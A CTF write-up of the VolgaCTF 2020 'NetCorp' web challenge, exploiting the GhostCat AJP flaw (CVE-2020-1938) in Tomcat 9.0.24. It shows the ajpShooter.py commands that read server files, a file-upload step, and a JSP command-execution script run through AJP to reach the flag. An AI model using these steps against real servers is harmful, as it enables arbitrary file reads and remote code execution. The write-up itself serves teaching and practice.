VolgaCTF 2020 Qualifier - NetCorp

CTF URL: https://q.2020.volgactf.ru

Solves: 134 / Points: 100 / Category: Web

Challenge description

Another telecom provider. Hope these guys prepared well enough for the network load…

netcorp.q.2020.volgactf.ru

Challenge resolution

Recon

Browsing the web application did not reveal any clear entry point:

NetCorp website

In order to obtain more information on the target, we thus performed a web directory scan using Gobuster:

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://netcorp.q.2020.volgactf.ru:7782
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Expanded:       true
[+] Timeout:        10s
===============================================================
2020/03/28 12:06:42 Starting gobuster
===============================================================
http://netcorp.q.2020.volgactf.ru:7782/docs (Status: 302)
http://netcorp.q.2020.volgactf.ru:7782/examples (Status: 302)
http://netcorp.q.2020.volgactf.ru:7782/index.html (Status: 200)
http://netcorp.q.2020.volgactf.ru:7782/resources (Status: 302)
http://netcorp.q.2020.volgactf.ru:7782/uploads (Status: 302)
===============================================================
2020/03/28 12:07:06 Finished
===============================================================

Sweet! The docs folder revealed an installation of Apache Tomcat and the related version:

Tomcat

As outlined on the tomcat.apache.org website, the version 9.0.24 is vulnerable to CVE-2020-1938, a potential Remote Code Execution also known as GhostCat:

Advisory

However, to exploit this vulnerability, the AJP connector, usually listening on port 8009, must be reached. Using netcat, we can confirm that the TCP port 8009 is indeed open:

$ nc -v netcorp.q.2020.volgactf.ru 8009
DNS fwd/rev mismatch: netcorp.q.2020.volgactf.ru != bahilovopt.ru
netcorp.q.2020.volgactf.ru [77.244.215.184] 8009 (?) open

Exploitation

The exploitation was performed using the ajpShooter.py python script from @00theway GitHub repo.

To check that the server is indeed vulnerable, we first attempted to download the WEB-INF/web.xml configuration file using the following command line:

$ python3 ajpShooter.py http://netcorp.q.2020.volgactf.ru:7782/ 8009 /WEB-INF/web.xml read

WEB-INF

As shown above, we can effectively read arbitrary file on the server. <(^_^)>

We then downloaded the java class of the ServeScreenshot Servlet:

$ python3 ajpShooter.py http://netcorp.q.2020.volgactf.ru:7782/ 8009 /WEB-INF/classes/ru/volgactf/netcorp/ServeScreenshotServlet.class read

ServeScreenshot

Using the -o parameter, we can save the class file to an output file, and use Jadx, a Dex to Java decompiler, to get the associated Java source code:

Jadx

From the source code, we’ve learned that uploaded files are saved in the uploads folder using the md5 hash of the filename:

private String generateFileName(String fileName) {
    try {
        MessageDigest md = MessageDigest.getInstance("MD5");
        md.update(fileName.getBytes());
        String s2 = new BigInteger(1, md.digest()).toString(16);
        StringBuilder sb = new StringBuilder(32);
        int count = 32 - s2.length();
        for (int i = 0; i < count; i++) {
            sb.append("0");
        }
        return sb.append(s2).toString();
    } catch (NoSuchAlgorithmException e) {
        e.printStackTrace();
        return "Error";
    }
}

Using the following HTML code snippet, we can upload file to the server:

<form method="post" action="http://netcorp.q.2020.volgactf.ru:7782/ServeScreenshot"
    enctype="multipart/form-data">
    Select file to upload: <input type="file" name="file" /><br />
    <br /> <input type="submit" value="Upload" />
</form>

For instance, we uploaded a file name testpoc.txt and calculated the md5 filename hash:

$ echo -n "testpoc.txt" | md5sum
beb2db6edf7b269ddfe4a4cfb54e09d9  -

This file can then be accessed at the intended URI:

Upload

Content of the file can also be retrieved using the aforementioned ajpShooter.py python script:

$ python3 ajpShooter.py http://netcorp.q.2020.volgactf.ru:7782/ 8009 /uploads/beb2db6edf7b269ddfe4a4cfb54e09d9 read

Read

Next, as stated on the advisory, remote code execution can be achieved by processing JSP script such as the following:

<%@ page import="java.util.*,java.io.*"%>
<HTML>
<BODY>
<PRE>
<%
String cmd = "id";
out.println("Command: " + cmd + "<BR>");
Process p =Runtime.getRuntime().exec(cmd);
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
    out.println(disr);
    disr = dis.readLine();
}

%>
</PRE>
</BODY>
</HTML>

The process can then be repeated:

$ echo -n "cmd.jsp" | md5sum
2079f2ab870589bf5c5ddc9ac5030097  -

However, execution is achieved by using the eval parameter:

$ python3 ajpShooter.py http://netcorp.q.2020.volgactf.ru:7782/ 8009 /uploads/2079f2ab870589bf5c5ddc9ac5030097 eval

Eval id

Flag recovery

We then executed the ls command and spotted the flag.txt file:

Eval ls

The cmd.jsp script can be modified one last time using Burp in order to retrieved the flag:

Burp

Flag

Author: Mr-B0b @_MrB0b

Post date: 2020-03-29